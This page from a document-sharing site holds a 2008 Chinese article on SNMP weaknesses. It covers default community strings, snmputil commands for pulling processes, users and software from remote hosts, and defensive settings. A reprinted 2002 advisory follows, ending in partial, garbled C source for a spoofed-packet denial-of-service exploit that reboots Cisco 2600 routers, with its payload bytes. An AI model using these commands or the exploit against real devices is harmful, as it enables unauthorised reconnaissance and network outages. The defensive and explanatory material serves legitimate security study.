snmp简单网络管理协议漏洞分析_第1页
snmp简单网络管理协议漏洞分析_第2页
snmp简单网络管理协议漏洞分析_第3页
snmp简单网络管理协议漏洞分析_第4页
snmp简单网络管理协议漏洞分析_第5页
已阅读5页,还剩13页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

snmp简单网络管理协议漏洞分析字体: | 发表于: 2008-4-10 01:23 作者: menyuchun 来源: IXPUB技术博客 简单网络管理协议(SNMP)是一个可以远程管理计算机和网络设备的协议.有两种典型的远程监控模式.他们可以粗略地分为读和写(或者是PUBLIC和PRIVATE).如果攻击者能猜出一个PUBLIC团体串值,那么他就可以从远程设备读取SNMP数据.这个信息可能包括系统时间,IP地址,接口,运行着的进程,etc等.如果攻击者猜出一个PRIVATE团体串值(写入或完全控制,他就有更改远程机器上信息的能力.这会是一个极大的安全漏洞,能让攻击者成功地破坏网络,运行的进程,ect.其实,完全控制会给远程攻击者提供在主机上的完全管理权限.更多信息请参见:_SNMP Agent responded as expected with community name: publicCVE_ID : CAN-1999-0517, CAN-1999-0186, CAN-1999-0254, CAN-1999-0516BUGTRAQ_ID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986NESSUS_ID : 10264Other references : IAVA:2001-B-0001SNMP服务在UDP 161/162端口监听用法:snmputil walk IP public OID-OID-含义-...2.1.2 获取系统进程... 获取用户列表...4.1.0 获取域名...3.1.2 获取安装的软件..2.1.1 获取系统信息-扫描到的一个报告:. 端口snmp (161/udp)发现安全漏洞 : Snmp口令: public. 端口snmp (161/udp)发现安全提示 : sysDescr.0 = Draytek V3300 Advanced Router sysUpTime.0 = 3 Days, 1 Hours, 53 Minutes, 10 Seconds sysContact.0 = adminrouter sysName.0 = V3300c sysLocation.0 = Hsin Chu sysServices.0 = 0目的:得到远程目标的系统敏感信息简单 利用方法这里的public使用来查询对方信息时所用到的密码具体的做法:要用到一个叫snmputil的东西,这个东西在win2000的resource kit中有,通过它我们可以通过snmp服务来查看对方的一些信息格式:snmputil get(or walk or getnext) public oidget和括号里的时获取对方机器信息的一种方法,public就是查寻的时候要用的密码。oid是被查询设备的ID号码例如:snmputil walk 11 public ...2.1.2snmputil walk ip public ...2.1.2(列出系统进程)snmputil walk ip public ...(列出系统用户列表)snmputil get ip public ...4.1.0(列出域名)snmputil walk ip public ...3.1.2(列出安装软件)snmputill walk ip public ..2.1(列出系统信息)-关于扫描中snmp信息的利用对于完全安装的WIN2K或者说启动了 简单网络管理协议(SNMP)的系统来说,仍然将存在 非常致命的隐患,完全将你的系统暴露给所有人。 一、从SNMP说起 SNMP,Simple Network Management Protocol,简单网络管理协议。用于管理IP网络上结点的协议。 几乎所有的网络设备和网络操作系统都支持SNMP。 接下来要介绍的是:community strings, 理解成为基于SNMP协议信息通信时使用的一种“查询密码”应该不为过吧。 当使用特殊的客户端应用程序,通过该“查询密码”community strings的验证,将获得 对应的权限(只读 或者 读写)对SNMP中管理信息库(MIB)进行访问。 而管理信息库(MIB)中则保存了系统所有的重要信息。 也就是说,如果可以知道community strings 这个“查询密码”,我们就可以刺探系统的信息了。 比较遗憾的是,很多网络设备厂商以及操作系统厂商,在初始状态下,都使用比较 统一的“查询密码”呵呵,这也就给我们提供了足够的方便。 二、对WIN2K进行刺探扫描 以WIN2K来说,一旦安装并启动了简单网络管理协议,系统将打开 UDP 161 snmp UDP 162 snmptrap 两个端口。 具体做什么我们不去细究。需要注意的是,这里使用的是UDP端口,而不是TCP端口。 同时,WIN2K系统支持初始的“查询密码”community strings 为:public 我们只要通过一款Resource Kit里面的工具snmputil,就可以方便的获得非常多的信息。 在这里可以下载:简单介绍一下用法 snmputil,就是程序名拉,呵呵。 get,就理解成获取一个信息。 getnext,就理解成获取下一个信息。 walk,就理解成获取一堆信息(嗯,应该说所有数据库子树/子目录的信息) agent,具体某台机器拉。 community,嗯就是那个“community strings”“查询密码”拉。 oid,这个要多说一下,这个呢,就是物件识别代码(Object Identifier)。 可以把oid理解成MIB管理信息库中各种信息分类存放树资源的一个数字标识。 尝试获得对方机器当前进程列表 snmputil.exe walk 对方ip public ...2.1.2 尝试获得对方机器系统用户列表 snmputil walk 对方ip public ... 整理一些列在下面: snmputil walk 对方ip public ...2.1.2 列出系统进程 snmputil walk 对方ip public ... 列系统用户列表 snmputil get 对方ip public ...4.1.0 列出域名 snmputil walk 对方ip public ...3.1.2 列出安装的软件 snmputil walk 对方ip public ..2.1.1 列出系统信息 三、一些工具的推荐 snmputil的功能已经完全足够用来进行对网络主机的刺探扫描了,只是因为它是命令行下的工具 而且,超常的oid标识符也并不是那么方便输入。 这里我推荐两款非常不错的网络管理工具,当然,它们的另一个作用就是snmp的刺探。 SolarWinds 2001的IP Network Browser IP Network Browser是一款snmp浏览工具,它可以提供在输入正确的community strings“查询密码” 后的运行着snmp服务的WIN2K/NT系统上的任何可得的信息。 在下图中,我们可以看到“查询密码”为:public 而在Accounts(账号)表单里,我们已经获得了同上面snmputil命令行方式一样的反馈信息。 功能强大噢。 整个SolarWinds 软件套件更包含了更多的网络管理工具,以后我将在其他的文章里继续介绍。 LANguard Network Scanner 2.0 这是一个网络安全综合扫描工具,主要功能:显示每台主机的NETBIOS主机名,MAC地址,搜寻 共享,操作系统类型判断,并测试共享密码的安全性等等,以html格式输出。 当然,LANguard Network Scanner还有一些更高级更适用的功能 比如暴力破解community strings,呵呵自己配置一个字典的话 会非常有效的。 四、如何防范基于snmp的刺探扫描 首先需要注意的是,snmp服务的通讯端口是UDP端口,这也就是大部分网络管理人员很容易忽略的地方。 往往某些网管配置服务器阻断了NetBIOS空会话的建立,就认为系统安全有了相当的保障,可由于安装 了SNMP服务,不知不觉中,就给系统带去了极大的隐患。 最方便和容易的解决方法,就是关闭SNMP服务,或者卸载掉该服务。 如果关掉SNMP服务不方便的话,那么可以通过修改注册表或者直接修改图形界面的SNMP服务属性 进行安全配置。 开始程序管理工具服务SNMP Service属性安全 在这个配置界面中,可以修改community strings,也就是微软所说的“团体名称”,呵呵,也就是 我所说的“查询密码”。或者可以配置是否从某些安全主机上才允许SNMP查询。 不过NT4环境下的朋友就必须修改注册表了。 修改community strings,在 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMPParametersValidCommunities 下,将public的名称修改成其它的名称就可以了。 如果要限定允许的ip才可以进行SNMP查询,可以进入 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMPParametersPermittedManagers 添加字符串,名称为“1”,内容为要允许的主机IP。 当然,如果允许多台机器的话,就要名称沿用“2、3、4”等名称了。 -附带资料:SNMP协议实现存在多个漏洞-来源:类别:系统漏洞日期:2002-6-22 8:08:04涉及程序: SNMP协议和各种网络设备 描述: snmp协议实现机制存在多个漏洞严重危害互联网基础安全 详细: 背景:ASN No.1信令为抽象数据类型形式的标准,1984年以来,被用于编写和发送复杂的数据结构。这个语言从80年代开始衍生出了多个通信协议和应用,是电信业、电力业和核电业计算机网络基础信令。也是互联网赖以运行的基础通信规则之一。全球级计算机安全专家正在调查ASN N0.1信令的安全脆弱性。这些脆弱性严重威胁互联网基础设施安全,黑客可以开发攻击程序,关闭ISP的骨干路由器、交换机和众多的基础网络设备。最终破坏性的后果将是引起互联网瘫痪。业界和政府的计算机安全专家门早就在关注这些问题。CNNS的安全专家早在1999年就发现很多电信公司的骨干路由器有致命缺陷。在那个时候,只需要很简单的操作,就可以引起大规模的网络瘫痪。举一个例子,一个显著的漏洞特征曾经出现在台湾中华电信,1999年如果有黑客施之以简单攻击,整个台湾地区大约65%的用户就不再能上网。由于ASN No.1信令的安全脆弱性,超过100家计算机网络设备的提供商将付出代价。弥补这些缺陷的投入将超过1亿美金。数百家网络设备提供商在今年早期就获得警告。如今已经纷纷给出解决方案。由于多个internet通信协议都是基于ASN No.1计算机网络语言,ASN No.1的脆弱性将广泛威胁通信行业。最为显著的例子就是造成SNMP协议多个安全漏洞。相同的问题还影响至少其它三个互联网协议,在这里不做详细叙述。Oulu University Secure Programming Group (OUSPG,)长期专注于SNMP协议的研究,并披露了这个严重的安全系列问题。 =多个计算机网络设备厂商的产品存在由于snmp协议脆弱性引起的多个漏洞,这些缺陷可能允许非法越权访问、拒绝服务攻击、导致不稳定的运行状况。Simple Network Management Protocol (SNMP)协议被广泛用于网络设备的监控和管理。SNMPv1定义了多个类型的SNMP讯息,如请求信息、配置改变、请求响应、SNMP对象列举,和主动的警报发送。一、SNMPv1跟踪消息处理系列缺陷SNMP代理(SNMP agents)发送跟踪消息(SNMP trap messages)到管理器(SNMP manager),向管理器报告错误信息、警报和其它的有关宿主的状态信息。管理器必须解析和处理这些数据。OUSPG发现很多SNMP管理器在解析和处理过程中存在缺陷。二、SNMPv1请求信息处理系列缺陷SNMP请求信息是从管理器向snmp agent代理发出的。请求信息用于获取代理信息或指示snmp agent配置设备参数。SNMP agent代理必须正确解码和处理该信息。在解码以及随后的数据处理过程中,代理和管理器都有出现拒绝服务错误、格式化字符串错误和缓冲溢出攻击的可能。有的攻击甚至不需要提供正确的SNMP community string(SNMP协议设置的一个关键参数,有点类似口令)。这些漏洞可以导致拒绝服务、服务中断,还有一些情况下可以允许攻击者获取设备的非法访问权限。攻击对于不同的产品有不同的影响。 解决方案: 本站列出了一百多个全球大厂商关于这个安全问题的响应和有关信息:请注意,以下的安全措施对于您的网络日常维护和网络设置构架可能有重大的影响。要确保以下措施的结果不会影响网络运行性能。1、从厂商获得补丁程序并执行提供了厂商有关该安全性问题的信息。2、禁止SNMP服务CNNS建议您禁止所有不必要运行的服务,包括SNMP。不幸的是,有些产品在SNMP服务被禁止的情况下会有意外情况发生或者拒绝服务。如果是这样的话,必须执行更高级的安全设置。3、边界访问过滤临时的措施是,在网络边界禁止不良信息流进入内部网络或者发往外部网络。对于网络管理者来说,比较有力的措施是通过防火墙等过滤设备控制对SNMP服务的请求。比如,除指定的服务器外,缺省情况下通通禁止对SNMP服务的请求,以下端口的过滤有利于外部攻击者对内部网的SNMP攻击:snmp 161/udp # Simple Network Management Protocol (SNMP)snmp 162/udp # SNMP system management messages以下这些服务并不常用,但有些产品可能运行这些服务:snmp 161/tcp # Simple Network Management Protocol (SNMP)snmp 162/tcp # SNMP system management messagessmux 199/tcp # SNMP Unix Multiplexersmux 199/udp # SNMP Unix Multiplexersynoptics-relay 391/tcp # SynOptics SNMP Relay Portsynoptics-relay 391/udp # SynOptics SNMP Relay Portagentx 705/tcp # AgentXsnmp-tcp-port 1993/tcp # cisco SNMP TCP portsnmp-tcp-port 1993/udp # cisco SNMP TCP port过滤对这些服务的请求,必须细心慎重,以免影响正常的网络运行。值得注意的是,SNMP守护进程可能在该设备上绑定所有的IP地址。因此,要合理考虑包过滤策略。比如,即使禁止了SNMP包直接发送给普通的网络地址,还是有可能受到攻击。因为攻击者可以利用SNMP缺陷攻击一些特殊的网络地址,如:网络广播地址子网广播地址和所有的loopback地址。(127.x.x.x)loopback地址常被路由器用于管理用途。管理员可以考虑是否过滤这些数据包。但必须慎重,因为不当的设置可能影响网络性能。最后,对以下的RPC服务的访问也可以考虑禁止:名称 程序ID 别名snmp na.snmp snmp-cmc snmp-synoptics snmp-unisys snmp-utksnmpv2 na.snmpv2 # SNM Version 2.2.2snmpXdmid 值得注意的是,这些措施对内部攻击无效。4、在内部网络中过滤不正常的SNMP访问。在很多网络系统中,只有有限的网络管理系统需要发生SNMP请求。基于这种情形,对于大多数的SNMP代理,可以设置仅接受有限几台主机的SNMP请求。这样可以降低内部攻击风险。使用这些安全措施同样必须慎重,以免不当的设置降低网络性能。5、修改缺省的community string很多支持SNMP服务的产品的出厂设置中,默认的community-string是public(只读访问)和private(读写访问)。CNNS强烈建议用户修改这两个缺省字符串。否则攻击者将可以通过SNMP协议修改设备的设定。修改了这两个缺省口令后,还要防备监听攻击以免攻击者获得新的设置口令。SNMPv3对这点做了改进,参考 RFC2574。6、隔离SNMP包从网络管理的角度,用隔离措施可以降低SNMP攻击的风险。包括物理隔离、VLAN逻辑隔离和VPN方式的隔离。注意通过交换机做VLAN隔离将加大攻击者攻击难度,但理论上并不能完全杜绝这类攻击。-攻击方法: 范例:一、如果获取支持SNMP协议设备的community string,在合适的环境下,攻击者将可以:1、修改路由器配置2、获取服务器最高控制权3、重新启动设备 二、攻击者在不知道community string的前提下,也能进行拒绝服务攻击。以下这段代码将重启Cisco 2600路由器:/* This program send a spoofed snmpv1 get request that cause system rebooton Cisco 2600 routers with IOS version 12.0(10) Author : . dont be lame use for testing only! . */#include #include #include #include #include #include #include #include #include struct in_addr sourceip_addr;struct in_addr destip_addr;struct sockaddr_in dest;struct ip *IP; struct udphdr *UDP; int p_number=1,sok,datasize,i=0; char *packet,*source,*target; char *packetck;char *data,c;char snmpkill = x30x81xafx02x01x00x04x06x70x75x62x6cx69x63xa0x81 xa1x02x02x09x28x02x01x00x02x01x00x30x81x94x30x81 x91x06x81x8cx4dx73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x81xffxffxffxffxffxffxffxffx7f x05;struct pseudoudp u_long ipsource;u_long ipdest;char zero;char proto;u_short length; *psudp;in_cksum (unsigned short *ptr, int nbytes)register long sum; /* assumes long = 32 bits */u_short oddbyte;register u_short answer; /* assumes u_short = 16 bits */* Our algorithm is simple, using a 32-bit accumulator (sum),* we add sequential 16-bit words to it, and at the end, fold back* all the carry bits from the top 16 bits into the lower 16 bits.*/sum = 0;while (nbytes 1)sum += *ptr+;nbytes -= 2;/* mop up an odd byte, if necessary */if (nbytes = 1)oddbyte = 0; /* make sure top half is zero */*(u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */sum += oddbyte;/* Add back carry outs from top 16 bits to low 16 bits.*/sum = (sum 16) + (sum & 0xffff); /* add high-16 to low-16 */sum += (sum 16); /* add carry */answer = sum; /* ones-complement, then truncate to 16 bits */return (answer);void usage (void)printf(Kundera CiscoKill v1.0n;printf(Usage: ciscokill -n number of packets -s source ip_addr -t ip_target n;int main(int argc,char *argv)if (argc 2)usage();exit(1);while(c=getopt(argc,argv,s:t:n:)!=EOF)switch(c) case s: source=optarg; break;case n: p_number=atoi(optarg); break;case t: target=optarg;if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW) ip_dst.s_addr = destip_addr.s_addr;IP-ip_src.s_addr = sourceip_addr.s_addr;IP-ip_v = 4;IP-

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论